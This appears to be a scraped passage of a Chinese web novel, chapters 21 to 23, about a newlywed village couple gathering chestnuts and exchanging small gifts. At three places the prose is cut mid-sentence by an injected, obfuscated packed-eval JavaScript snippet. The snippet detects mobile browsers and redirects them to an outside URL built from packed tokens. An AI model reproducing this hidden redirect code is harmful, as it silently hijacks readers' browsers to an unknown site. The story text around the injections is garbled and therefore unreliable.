林青娘不好和两个小辈争,只好提了肉回灶房。 吴春梨和周安从屋里出来,见秦蓁绾了妇人发髻,一时有些陌生。 “哥,嫂子。盼盼还在睡?” “是啊,早晨凉,让她在被窝里多睡会。”吴春梨手肘向后捅了捅周安,朝柳岚道:“爹和李叔他们在武场练武呢,周安带妹夫过去看看?” 柳岚看向秦蓁,她同意后和周安一起把两坛酒搬进屋子。 秦蓁放下周辰,让他自己去玩会,然后招呼吴春梨和林青娘过来看背篓里的东西。“柳岚特地带过来的蜜糖,不过要的人多,只能匀出这些。” “可别这样说,”林青娘轻轻打了她一下,“柳岚待你好,你也要待人家好,欺负了人还不知足,小心我打你。” “我知道,怕你们觉得我受委屈,总得看个清楚才安心。” 林青娘点她额头,抱着小坛子喜滋滋回屋去了。 吴春梨和她相视一笑,两人悄悄回屋放好装蜜糖的坛子和柳岚买的耍货和零嘴,见盼盼睡得香甜,便转道去秦蓁房里说说闲话。 短短几天,秦蓁听了村里的不少事,她转述给吴春梨,吴春梨也将自己听来的事分享了出来,两人聊得津津有味,直到盼盼在屋里哼哼唧唧才被打断。 “我还以为你不爱聊这些,平日里只能跟娘说说。”镇上住着的人家多半心眼子密,偶尔闲聊倒不要紧,交心却万万不能,因此有些事只能在自家说。 “来我这的姑娘也常聊这些,只是我不同那些人打交道,便不在意,如今这些事的主人公都是日后会有往来的人,可不得留心点?” “难怪。”吴春梨笑着摇摇头,转身去照顾自家女儿起床。 田丰让镖局里跟着他学手艺的小伙子掌勺,自己跑过来给秦蓁做饭,柳岚进灶房学了两道秦蓁爱吃的菜色,想着回去做个她尝尝。 田丰嘴里不说,心里却更满意了几分。他就知道蓁蓁的眼光不会错。 一大家子分了两桌,汉子坐在一桌喝酒吃肉,林青娘带着两人悠悠哉哉另做一桌。 周辰在饭桌上从不敢闹腾,更何况周围是他娘亲、姑姑和阿奶,米饭掉桌上了要偷偷捡起来吃掉,一碗饭乖乖吃完了才能下桌,还要把碗送回灶房。周辰拿着空碗滑下凳子,趁大人都在屋里,悄悄拿出姑父给他的芝麻糖慢慢啃。 柳岚又被灌了几碗酒,好在双方都有分寸,不会像成亲那日一般醉。 秦蓁叹了口气,同林青娘道:“还是要让周叔他们少喝点酒。” “我早说了,你自己非得纵着,”林青娘瞪她,“每次回家都带个一两坛,一天天净盼着这点东西了。” 秦蓁去煮了碗醒酒汤,待柳岚缓了会让他喝下,又扶他去自己房间歇息。 柳岚还算清醒,但这幅样子驾车回去也让人担心,于是待到未时才回去。 过了午时渐渐回暖,秦蓁没有再穿斗篷,而是坐在边沿和柳岚说话。 “下回来可不能让你再这样喝,周叔他们本就好酒,有一便有二,到时看谁照顾你。” “只喝这一次,往后再也不喝了。”见路上没有其他车马,柳岚朝她认真回道。 秦蓁一时怀疑自己是不是过于较真了,不过酗酒这一条能避则避,还是不开这个头为好。 爹爹和周叔他们在军营里过惯了以酒度日的生活,等到后来想改也难,这是没办法的事。 “那咱们说好了,你若是食言,可别怪我不管你。” “好。” 柳岚空出一只手去牵秦蓁,嘴角也随之荡出一抹笑。 他见过有些夫妻因各种事情吵架、打架,他家蓁蓁却只说一句“不管你”这种无关痛痒的话,可柳岚怎么也不敢放肆,他要蓁蓁只管他一人,心里眼里装的都是他柳岚。 —— 因成亲歇息了一段时间,今天柳岚又得去山里捡山货。 正是栗子、核桃成熟的时节,趁早多弄点价格能高上一两文。 先前赶制婚服的时候秦蓁生怕赶不上,一直紧绷着心里那根弦,如今放松下来了,恰好契书上定的时间也算宽裕,便不想动针线。 “那边远不远?”前两年李青竹她们问自己要不要一起去捡栗子,秦蓁有些心动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115447|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但问过之后才知道要翻过两座山头,以她的脚力来说实在是困难,最后只得放弃。 “不算远,只是林子深,去的人少些。”柳岚见她有些意动,自己也不想和媳妇分开太久,便继续说道:“咱们走慢些,上山的时候我也能背你,下山就多歇歇脚,怎么也能在午时赶回来。” “好,我们一起去。” 决定好之后,秦蓁换了身衣裳,披斗篷去山上不方便,倒是柳岚准备的夹袄正合适,不至于束缚手脚又能御寒。 她背的小背篓,反正不指望能带多少东西回来,走个来回已经算她有毅力了。 防身的柴刀由柳岚带着,秦蓁只要跟着他走便好。 已是深秋,山林不似夏日时茂盛,一阵风吹来往往能刮下一群纷飞的“蝶”。 一路走来,耳边净是脚踩在铺满山道的落叶上发出的“咔嚓咔嚓”声。 柳岚将挡路的枝桠砍断,顺手清理路边一些长得高的杂草。“来。” 秦蓁牵着他伸过来的手,在山林里的孤寂感瞬间被驱散。 萧瑟的荒野其实并不算死寂,偶尔也能听到野兔或是野鸡跑过的动静。 刚开始秦蓁还被吓到,柳岚解释之后倒渐渐习惯了。 “你平时都是一个人?” 柳岚点头,“周围山上没什么危险,我一个人也能应付过来,不过再远些的深山还是要跟着承哥他们一起。” 这一路较为平坦,秦蓁晃着两人牵起的手问道:“怎么不多带个人一起?”她第一次过来便能感受到那种孤寂感,更何况柳岚在山里行走了这么些年。 “小时候我只和我哥关系好,后来他去私塾念书,我跟着我爹上山捡山货。等长大后我爹去世,我就接手卖山货的事,也懒得再结交旁人。”柳岚转头看向秦蓁,接着道:“不过我以后准备让小罗过来帮忙,他手脚麻利,做事也稳当。” “也好,两个人总比一个人轻松些。”而且柳罗带着彤彤生活着实辛苦,有柳岚的帮衬,兄妹俩日子应该能好过点。 路程走了一半不到,柳岚发现秦蓁的步调慢了下来,便将背篓卸下,换到了身前。“还有一段路,我背你。” 秦蓁也不扭捏,就着柳岚弯腰的姿势趴到他背上。 自长大后,她从未被人背过,此时心里有一股说不出的欢喜劲,忍不住晃了晃悬空的脚。 柳岚看着高高瘦瘦,倒是挺有劲,一直把秦蓁背到了那片栗子林。 “累不累?我歇一会就好,哪里要背这么远。” “不累。”柳岚只是气息有些乱,不过没出汗。他能背着沉重的山货翻几座山头,背自己家媳妇又算得了什么? 栗子树的绿叶在风中舞动,隐隐露出藏着的刺球。 有的刺球已经咧开嘴,内里的栗子掉落在地上,只余空壳遗留在枝头,有的则躺在地上开出一条缝,三三两两的栗子一起挤在里头。 秦蓁此前只见过赭红色的栗子,对于它最天然的模样还是第一次看到。 “蓁蓁,只捡散落的栗子,壳里的不动,到时等我来,小心扎手。” “好。”一根根绿刺看着就扎人,秦蓁也不会犯傻主动去挨两下。 入口是一片缓坡,杂草没有很多,柳岚折了根树枝让秦蓁打草开路,自己则去不远处的小竹林砍竹子。 零星的栗子分布在四周,秦蓁带着自己的背篓走走停停,不过一会就捡了小半筐。 柳岚在看得到秦蓁的远处准备爬树,确定秦蓁周围没什么危险才放下心来。 他将长竹竿倚靠到高处的树干上,自己两手一撑就窜了上去。 21. 第21章 竹竿挥打在能够到的树枝上,所过之处全是刺球掉落的声响。 还有被殃及的栗子从壳里掉出来,啪嗒一声砸在路过的树枝上,而后掉落在地。 等动静停止了,秦蓁才敢走近。“这是做什么?” 地上的量完全够两个人捡这一趟,而且柳岚打落的基本上都是还没有开缝的青壳,就算是砸开也不如直接拾捡来得轻松。 “没开口的栗子球好好存放能多保留一段时间,那时山上没有栗子捡,可以在冬日里卖点新鲜的。” 秦蓁一副惊奇的模样,原来卖山货也有这么多门道,她还以为只要去山上找寻就足够了。 柳岚很高兴能见到秦蓁和以前不同的一面,他一手将背筐里准备的东西拿出来,一手捡起周围个头较大的刺球。 “不疼吗?” “别用力,轻轻拿起来的话其实不疼。” 秦蓁一听,顿时有些跃跃欲试。她明媚的双眸看向柳岚,好似在询问。 柳岚迟疑,提醒道:“如果不小心扎到会很疼,还要拿针挑出来。” 他和他哥小时候就尝过苦头,不过男娃娃皮实,知道痛下次依旧敢去碰。 秦蓁被勾起了好奇心,此时的几句劝阻作用不大。她挑好一个小目标,放轻了力道去拿取,尝试之后发现果然不疼。“真的欸!” 柳岚接过那颗略显软嫩的刺球,“你的手嫩些,不留神还是容易受伤,去捡栗子好不好?” “好。”已经尝试过的秦蓁很满足,提着她的小背篓走到一旁继续捡栗子。 对于秦蓁来说,捡栗子也别有一番乐趣,有时一眼瞧过去什么都没有,仔细翻找又能发现藏得严实的漏网之鱼,有时捡过的地方明明已经捡干净了,回过身来却还有几颗出现在视野内。 将装得冒尖的栗子倒进麻袋里,秦蓁又开始了下一轮的寻找之旅。 …… 忙碌的一个上午过去,青壳栗子球装了一个麻袋和一个背筐,由柳岚绑好背在身后,栗子装了两个麻袋,正好能挑着走,秦蓁的小背篓里则装了一小半栗子和柴刀、喝水的竹筒之类。 因带了重物,柳岚回程的脚步比来时慢些,秦蓁勉强跟上他的步伐,尽可能早点赶回去让柳岚歇息。 “没事,我不累,有时背的东西比这些重多了。你坐着歇会,我怕明天磨出泡来。” 秦蓁帮他擦擦汗,眼里满是心疼。 两人到家时刚过午时,累了一上午,秦蓁一回屋便歇下了,柳岚卸下东西后连忙过来给她按脚,只盼着明天不会起泡。 “起了也不碍事,到时拿针挑破,拿柜子里的药膏敷上便好。”秦蓁经历过一次,不至于像以前一样无措。 “……应该带你去近一点的那片林子。” 柳岚显然有些自责,大概是觉得没有照顾好自己。 秦蓁摸摸他的脸颊,说道:“以前我都没有经历过这些,难得你愿意带我玩,受点伤也没什么。” 见男人还是一副闷闷不乐的样子,秦蓁只好转移话题,“我饿了,今天中午打个鸡蛋汤好不好?” 柳岚依言去做饭,敲了两个鸡蛋给秦蓁做鸡蛋汤。 家里没养鸡鸭,鸡蛋是他去大伯娘那里买的,按两文钱一个的市价来算,有时鸡生得多,于红英会多拿一两个给他。 两家的钱向来算得分明,不会因此伤了情分。 趁着还有一小会时间,柳岚把栗子按个头分好,一般来说他会将小一点的留着自家吃,其他的等吃完饭去镇上卖,但想着屋里的秦蓁,他还是抓了两把个头大的栗子留下。 在山里转悠了这么些年,每片栗子林的栗子品相如何味道如何他心里都有数,镇上哪片人家爱吃什么味道的也清楚一二,一般能据此卖出一大半的货。 若是卖得快,还能再去山上一趟。 —— 天灰蒙蒙的时候,屋里还是昏暗一片。 柳岚在秦蓁的额头上亲了亲,动作麻利地起床后给秦蓁掖了掖被子,穿好衣裳悄悄出门。 近处的林子里已经被村里人寻空,没赶上的人只能去远一点的深山囤山货。 栗子核桃这些长在山上又不费钱,量多了也能饱腹,因此大家都会多囤些。 镇上的人同样要生活,不过受地界限制,要么托乡下的亲戚买点,要么自己去山上弄。对于大部分人来说,过冬的粮食很珍贵,多一两都能更安心些,到这种时候,也不拘什么种类了。 柳岚卖的量大,价格又实惠,每每到镇上都能被买空。 像卖雪耳这样挣钱的营生还是少数,柳岚大多时候还是靠量多的普通山货获利。 …… 秦蓁起身洗漱后走进灶房,锅里温着一小碗粥、一个鸡蛋和一个馒头,柳岚天天要早起忙活,因此会在出门前放好柴火,把早食温好等她醒来之后吃。 这样的话费水又费柴火,秦蓁在考虑要不要早起避免这部分的浪费。 她和柳岚前后起床不过相差半个时辰,若是提前一些好像也不难…… 秦蓁思索间拿出柳岚划破的衣裳缝补。 成亲后的生活和以前并无不同,不过是一日三餐再加绣花缝衣,但吃食和杂事上有柳岚包揽,她唯一该琢磨的似乎只有签订的契书该怎么完成。 手中的这件衣裳应当是用劲过大导致肩头开线,其他地方倒没有缝补的痕迹。秦蓁想起以前每次见到柳岚时他身上的衣裳都整洁如新,不像其他家境一般的人家,五件衣裳里总会有三两件打着补丁。 她心思微动,剪断线后回屋打开柳岚放衣裳的箱子。 柳岚的衣物果然只最上面几件有轻微磨损的痕迹,越往下翻磨损越严重,补丁也开始增多。不过和其他人相比倒也正常,毕竟李青竹也有好些打补丁的衣裳,实在穿不了才会拆洗下来做鞋底,或者送给族里有女孩的穷人家。 秦蓁把最下面的那些拿出来堆放在一起,等柳岚回来再问他还要不要,她准备缝一床被套,正好她家里还有穿旧的棉衣,可以拆开做成被褥垫在底下。 “秦姐姐?” 隐约间有一道耳熟的声音在门口响起,秦蓁走出房门一看,果然是李青竹,还有旁边的柳春苗。 她招呼两人进堂屋坐,问道:“你们俩怎么过来了?也不同我说一声。”幸好柳岚每回都带了一点零嘴回来,不然家里也没什么招待人的东西。 李青竹拦住她,偷偷伸长脖颈好像在找什么。 秦蓁了然,上手轻轻打了她一下,“柳岚不在家,怎么了?” “我们想去院子里玩。”李青竹笑得一脸讨好,还暗暗朝秦蓁撒娇。 “又没说不让去,”秦蓁哭笑不得,“大家都过来了?” “在外头呢,不好意思进来。”柳春苗自己也不好意思,虽说她该喊柳岚三堂哥,但拢共也没来过几次,自然算不得熟悉。 柳家确实装不下这么多人,想来也没什么事,秦蓁干脆拿上钥匙把门一锁,带人往东边去了。 一群姑娘热情地喊着秦姐姐,明明在一个村里,却感觉许久没见了一样。 大家在路上只说些平常话,等进了秦家小院才跟回到自己家那般松快,甚至比家里还自在些。 不过十天左右的时间,院子里的人气好像随着秦蓁出嫁一起被带走了,开门之后众人涌了进来才焕发生机。 “秦姐姐,他对你好不好?” “秦姐姐,他会不会和你吵架呀?” “秦姐姐秦姐姐,你在那边住得习不习惯?” …… 姑娘们的好奇心如同泄了洪的河水,问题一个接一个。 秦蓁一一回答,最后说道:“一个个没大没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137364|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的,你们既然叫我姐姐,是不是该叫柳岚一声姐夫?” 最开始她还没注意到这个问题,可说来说去,话里的另一位主人公只有一个“他”替代,秦蓁多少心里有些不舒服。 柳岚平时不显山露水,村里传的闲话也不去理会,久而久之,有些人难免会看轻他。虽然知道姑娘们本意并非如此,但秦蓁还是希望她们能尊重柳岚。 有些姑娘听出来秦蓁这句玩笑话里藏着的不满,一时不知道该怎么回答。 这时柳春苗小声道:“那我是该叫秦姐姐堂嫂,还是叫我三堂哥姐夫啊?” 众人忍不住发笑,凝滞的气氛终于涌动了起来。 “随你乐意。” 大家改口称柳岚姐夫,围着秦蓁问成亲后的一些变化。 原本也能问李成玉,她得空了会回来坐坐,不过终究是嫁出去的姑娘,自己新成的小家还有不少事情要忙活,成亲两个月左右只回来三四次,但比起出嫁的其他人,已经算得上是频繁了。 一阵说说笑笑,好似又回到了往日的光景。 巳时过半,按照以前的惯例,秦蓁该送大家出门了,可这次,她也是归家的一员。 秦蓁拉着李青竹在后头说话,让她帮忙问问周围的猎户谁手里还有鹿皮。 “柳……姐夫不是也认识很多猎户吗?秦姐姐何必问我?” “我想自己买来给他做副手衣,就先不告诉他了。” 李青竹在一旁笑。 秦蓁赶她回去,自己到房里翻找适合柳岚的布料。 周叔他们买布料不会特意挑选,因此难免会混有元青色和云杉绿之类偏男子穿的颜色,与其放在衣橱里闲置,不如挑出来给柳岚做衣裳。 秦蓁又找出自己穿旧的冬衣,是四五年前的尺寸,内里的棉絮也不暖和了,不过可以拆出来重新弹一遍,还能再用个一两年。 她的衣物向来保管得很好,在秦家,穿过三年的衣裳便是旧衣了,因不常干活,秦蓁也不是玩闹的性子,这些旧衣往往和普通人家一两年的新衣差不多。徐清媛没有送人衣物的习惯,又舍不得将女儿的物品随意丢弃,于是特地打了个箱子存放。 而在秦蓁一个人生活后,学着其他人能省则省的原则,把那些衣裳拆洗过后重新缝制出来做成被套、枕套之类,仔细算下来,也能省出一小笔银钱。 到家时门口只停着一辆驴车,柳岚却不见身影。 秦蓁习惯了出门上锁,竟忘了钥匙在她手里,没有钥匙的柳岚回来了也进不去家门。 她有些懊恼,只好先开门等柳岚回来。驴车暂时在外头放着,她牵不动,这驴子认主人,听说脾气倔得很,连大伯这样的老手都只能勉强使唤上。 柳岚从柳罗家里时院门已经开了,他把驴车牵进后院,卸下木板车后又给驴子喂了一大把草料。 家里没养其他牲畜,木棚里就一头毛驴,其他木棚修整过,存放着夏秋两季晒干存好的干草,是驴子冬日的口粮。 柳岚在镇上往来都靠它,对于出了大力气的功臣,柳岚自然舍不得克扣,常常打草把它喂得饱饱的。 灶房里传来米香,他加快脚步准备过去接手。 “你坐着就好,我来。” 那次上山之后,秦蓁的脚底还是被磨出了几个水泡,挑破上药后过了三四天才好,柳岚心疼她,不让她久站,自己把能做的活都做了。 看案板上的肉和篮子里的菜,柳岚知道秦蓁是准备炒个肉片和红根菜,便挽起袖子利落动手。 秦蓁坐在灶房门口的小板凳上看他,说起自己准备拿他旧衣缝被套的事。 柳岚刚开始听的时候有些窘迫,发现秦蓁一脸平常后才放松。 他当初追求蓁蓁时穿的都是较为体面的衣裳,成亲后故意把破破烂烂的那些塞在底下,幸好蓁蓁不嫌弃他。 22. 第22章 都说一场秋雨一场寒,前天下过雨后能明显感觉到寒意。 在李青竹的一番打听之下,秦蓁已经买到了一张鹿皮。那是张雄鹿皮,鞣制得不错,也没有其他异味,只是有一部分破损了,卖不上高价,因此在猎户手里积压了两年。 秦蓁在决定买之后去问过镇上和村里鹿皮的价格,一般来说,品质和毛色上乘的完整鹿皮能卖到十三两左右。像她买下的这张,若是完整也能卖到十两,只可惜旁边破损了一块,顶天出价七两。 猎户一口价六两五钱,低于这个价他宁愿不做买卖。 秦蓁着急要,价钱对她来说倒也能接受,不过她要求再添张兔子皮做饶头,这样一来柳岚的手衣和围项便都有着落了。 有鹿皮在前,二三十文钱的兔子皮自然算不得什么,猎户高高兴兴地答应了。 柳岚早起去山里寻山货,秦蓁就在家里赶制这些,好在寒冬来临前给柳岚穿戴上。 家里地方不够大,柳岚只好打了几个木架晒山货,一个个竹匾里都铺满了菌子、木耳、栗子等物,秦蓁在院子里一边做绣活一边照看这些。 村里虽说没有大奸大恶之人,可寒冬的威力人人都知晓,保不齐就有胆大的懒汉趁着没人看守偷摸一部分走。 柳岚家接近村尾,邻居不算多,只比秦家的位置好上那么一点,因此歹人很容易从村尾逃窜。 抬眼间,一个半人高的身影出现在门口。 “秦姐姐!”柳彤捧着两个鸡蛋小心翼翼地走了进来。 她哥哥夏天从镇上回来后买了几只小母鸡养着,虽然比春雏贵些,但养好了也能在过冬前捡几个鸡蛋吃,眼下这两个就是柳彤刚从鸡窝里捡的。 秦蓁从旁边拿了条板凳让柳彤坐下,“终于下蛋了?” “对!”小孩眼睛亮晶晶的,带着明显的喜悦,“我打完草回家看到的。” 自从家里买了下蛋的小母鸡,柳彤也不怎么出去玩了,天天打鸡草喂鸡,守在旁边时不时看上两眼。 她年纪小,柳罗不敢让她拿镰刀,只能用手去扯,小姑娘也不怕累,一点一点扯出小半篮子带回去。好在只有五只鸡,吃得不多,柳罗忙的时候她一个人也能应付过来。 两个鸡蛋比寻常的小些,但给兄妹俩补身体也足够了。 “让你哥哥找个篮子,里面拿些干净的稻草垫着,每天捡到的鸡蛋就放在里头,一天吃上一两个,剩下的再攒起来,也能卖几个铜板,知道吗?”秦蓁自己也没养过畜禽,说的这些还是在大伯家看来的。 听柳岚说,大伯家以前为了供堂哥念书养过不少鸡鸭,猪也养过几头,现在熬出头了不必像以前那般操劳,就养得少了。 柳彤把鸡蛋捧给秦蓁,语气认真道:“那这两个先给秦姐姐,我已经和哥哥说好了。秦姐姐对我很好,我也想对秦姐姐好。” 秦蓁心里有些酸涩,想了想还是接了过来,“今天的姐姐就收下了,但以后的那些自己留着。你把自己照顾好,对姐姐来说就很好了。” “好。”柳彤乖乖应声。 秦蓁揉了揉小姑娘的脑袋,从怀里抓出一把栗子给她。 这是柳岚特地阴干的栗子,外壳一捏就碎,皮也好剥,里面的肉有点软,比原来的栗子更甜些。 秦蓁去灶房把两个鸡蛋放好,随便拿了几颗饴糖和一小碟枣糕给柳彤。 柳彤在秦蓁这里从来不用拘束,她一样一样尝过去,留出一半给哥哥后再吃自己的那份。 她知道,秦姐姐拿出来的吃食都是可以吃的,全部吃完也不会挨骂,甚至还能带回家给哥哥吃。 两人对坐着闲聊,小姑娘小嘴说个不停,几次都逗得秦蓁发笑,家里也增添了几分欢乐。 等柳岚回来的时候,就听到一大一小在笑某个爱欺负人的小胖子自己摔跤回家哭着找爹娘的事。 “回来啦。”秦蓁笑着迎他,手上却悄悄拽过两张帕子遮住那双鹿皮手衣。 待柳岚卸下挑着的两个麻袋和背上的背篓,秦蓁才走近替他擦擦汗。 柳彤出声喊他“岚哥哥”,柳岚应下,从背篓里拿了两个熟透的柿子,将其中一个递给她。 小姑娘想接却没接,支支吾吾说道:“秦姐姐,我吃不下了。”秦姐姐家的零嘴好好吃,她吃着吃着就饱了。 秦蓁一边推柳岚坐下,一边笑:“又没让你现在吃,可以带回去。” “好。”她点点头,朝柳岚道:“谢谢岚哥哥。” 灶房里晾着一碗开水,秦蓁探了探碗壁,觉得差不多能入口了,便端给正在歇息的柳岚。他近来回家的时辰固定,多半在午时前后,最晚不超过正午,只要提前算好,到家时都能喝上一口温热的茶水。 柳彤又坐了一会,估摸着差不多到用午食的点了便起身回家。她将秦蓁给的糕点之类包好护在怀里,明面上只拿一个柿子。 柿子很常见,上山能寻摸出一箩筐,因此也不怕别人生出其他心思。 柳岚歇息好了便进灶房准备午饭,但当他打开橱柜的时候,却发现放鸡蛋的小篮子里多了两个格外不同的鸡蛋。“蓁蓁,这是……” 秦蓁过来向他解释来历,柳岚听完后倒有些好奇:“我一直想问,你和小彤当初是怎么认识的?” 两人一东一西住着,从各方面来看都不像是会接触到一起的样子,而且除了柳彤,也没有见秦蓁对其他孩子表露出类似的喜爱之情。 “也没什么,大概是三年前的事情了。”秦蓁回忆道:“那时我娘刚去世不久,我一个人去山上挖野菜,却不想对山路不熟悉,走来走去就迷路了。当时彤彤也在挖野菜找野果,我猜她应该是村里的小孩,便问她该如何下山。我跟着她下山后见她一个小娃娃有些可怜,就把人带回家了。” 现在想来还有些好笑,她当时十五岁,却连一个五岁的小娃娃都不如。 秦蓁没说的是,柳彤见她长得好看又穿得鲜亮,一度以为她是天上的仙子。经过好一通解释才让小姑娘知道自己和她其实也是寻柳村的人。 柳岚和她额头相贴,轻声道:“我怎么没碰上迷路的蓁蓁?” 若是能早点知道蓁蓁是这么好的人,他就可以多准备一点,再风风光光地迎娶她。 “现在碰到了也很好。” —— “岚哥!”李兴正在家门口等着远处的柳岚,待人走近后也不客气,把脚边的背篓放到较为空荡的板车上。 里面是只幼鹿,前腿的皮毛上沾血迹,是他昨日在陷阱里发现的,活的猎物比死了的价格高点,他便今天邀上柳岚一同去镇上。 李兴眼尖,看到柳岚和他们一样粗糙的大手上竟然戴了一副手衣。再加上他脸上难掩的笑意,不难猜出是谁为他做的。“岚哥,嫂子对你可真好。这手衣瞧着像是鹿皮做的?” 李兴以打猎为生,对于皮毛之类的感观自然更敏锐些。 “对,”柳岚笑着回他:“做了两副,她说若是脏了也好换洗。” 李兴不禁咋舌,他们这些汉子皮糙肉厚,少有人会戴手衣,更何况用鹿皮做上两副。就算是镇上的富裕人家,多少也得骂两句败家子,不过柳岚家现在是秦蓁掌家,倒也不奇怪。 “对了岚哥,我前几天碰到顺子,听他说那张鹿皮终于卖出去了,买的人没还价,直接给了六两五钱。” “真的?也好,快入冬了,他们家今年应该能过个好年。” “是啊,去年小牛瘦得就剩把骨头,还好熬过来了。” 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162704|148136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都为兄弟高兴,毕竟林顺上有病弱的老母,下有妻儿要照顾。 他去年不慎伤了腿脚,在家里躺了两三个月,正好错过打猎的好时机。后来零零散散的小猎物卖不上多少钱,一家人便只能勒紧裤腰带过日子,还好有大家的帮衬,不至于太难过。 柳岚看了一眼手衣,心头萦绕着一股道不明的情绪,不过当下还是把两人的东西卖了要紧,他没有想太多,驾着驴车朝镇上而去。 到了镇上,先去帮李兴把鹿卖了。小鹿年幼,又受了惊吓,背篓里备的草料没吃多少,经过一路的颠簸,瞧着精神不大好。 李兴手头上的门路不多,倒是柳岚常在镇上做生意,认识的人更多些。 没过一会,背篓里便空了,只余李兴怀里的几块银子。 “岚哥,我媳妇叫我买点东西回去,我待会在街头等你?” “行。” 柳岚这次带了三坛滤清的蜜糖浆和五朵中等品质的雪耳,都是提前说好的,送到了直接等着收银子。往年也是这样,趁着入冬前售卖一次,入冬后再每月出来两次,毕竟往后天气愈发寒冷,若是下雪了也不便出门。 冬日是柳岚难得清闲的时候,不用到各个山头去折腾,也不用去镇上忙活,他会窝在家里整理先前收的山货,闲暇时翻阅他哥抄录的书籍,虽说一个人难免会觉得孤寂,但也算自得。 今年却不同往日,一想到醒来后最心爱的女子会陪他一起躲在被窝里,家里无论什么时候都会有另一个人的气息,雪落时还能赏雪煨番薯,柳岚脸上便不自觉带着浓浓的笑意。 家里该买的东西早已备齐,秦蓁也没有说自己还缺什么,柳岚揣着银钱思索半天,最终到药材铺子里提了两袋枸杞和桂圆回家。 回程的路上,柳岚频频看向自己戴着的手衣,他总觉得林顺卖出鹿皮和秦蓁缝制鹿皮手衣的时间过于巧合。 一般来说,买得起鹿皮的人家看不上积压了两年且有破损的皮子,而想买的人若不是附近的,也很难知晓林顺那边还有一张。 柳岚越想越觉得是自家媳妇买下的,但这么大一笔花销,秦蓁又不会故意瞒着自己,除非……除非用的不是家里的钱。 成亲第二天,柳岚便将自己存下的所有积蓄交给了秦蓁保管,秦蓁没有接,而是将整钱按柳岚那般存放好,碎银则拿出来用于平日花销,她说家里只有他们两个人,银子也应由两人一起商量着该怎么用。 柳岚知道秦蓁自己还有银钱傍身,她也隐约透露过,不比柳岚的少,可他从来都没有想过要秦蓁拿那些钱做什么,结果花的第一笔钱竟然是给他做手衣。 到家的时候秦蓁在屋里绣围项,既然手衣已经送出去了,围项便不用再遮掩。 柳岚照旧给毛驴喂了把草料,将手衣上的碎屑清理干净后仔细收好,他回到屋里,半蹲在秦蓁身前,想问那张鹿皮是不是她买的,却不知该如何开口。 “怎么了?”秦蓁的围项还差最后一点,她问完后又将目光移回到手上。 柳岚没有打搅她,待最后一针收了线才开口:“蓁蓁,你做手衣的鹿皮是在隔壁林家村买的?” “是啊。”秦蓁一时没有反应过来,拿起围项在柳岚脖颈处比划,两人对视一眼,她环住柳岚笑道:“你发现啦?” 柳岚抱起秦蓁,顺势亲了亲她的脸颊。 秦蓁起初不太自在,习惯了之后反而很喜欢这样的亲昵举动。 “我看你手上有起寒疡的痕迹,一般的棉布手衣又用不了几年,便干脆做副鹿皮的。这是我的心意,而不是家中所需,因此没有告诉你。” 柳岚一腔爱意无法诉说,一连亲了秦蓁好几下,秦蓁假模假样闪躲着,环住柳岚的手臂却没有丝毫松动的迹象。 23. 第23章 “蓁蓁,在家呢?”于红英挎着篮子走进小院,笑呵呵地看着拍打棉被的秦蓁。 前几天一直阴沉沉的,好不容易碰到大晴天,家家户户勤快些的妇人、姑娘都在晒被子。 “大伯娘。”秦蓁正要回屋搬凳子,于红英却悄悄招手让她进灶房,还往门外瞧了一眼。 秦蓁不明所以,但还是走了过去。 于红英掀开篮子上盖着的布,露出拿碗装好的一块肉,“你大伯听说常青村有人在卖羊肉,连忙去了一趟,割了五斤肉,给你俩带了两斤。你会不会做?不会就等阿岚回来做,要是都不想动手,回家里吃也一样,你嫂子已经炖上了,正好文轩旬休,一家人也可以吃顿饭。” 秦蓁想了想,没过多推辞,接下了那碗羊肉。“阿岚山上砍柴去了,等他回来了我再问问。伯娘你在屋里坐会,上回买了些蜜枣,正好给朗星添个零嘴。” 要是侄媳妇说别的什么,于红英都不会拿小辈这点东西,但若是给小孙子的那就不好拒绝了,家里就柳朗星一个男娃,什么好东西自然都想给他。 秦蓁拿了一包蜜枣和一包海棠干果,说道:“家里也没备什么好东西,这包干果大伯娘也拿回去和嫂子甜甜嘴。” 于红英也不瞎客气,在篮子里放好又把布盖上了。 她悄声道:“盖房子的银子都备好了?” “备好了,阿岚还另外留出了一部分。”秦蓁觉得有趣,也学大伯娘那样说话。 柳岚这些年总共存了一百二十七两银子,成亲大概花费十五两,前段时间卖的蜜糖浆和雪耳得了二十五两三钱,零零散散算下来有一百四十两,其中五十两用来盖房子,留了十两备用。 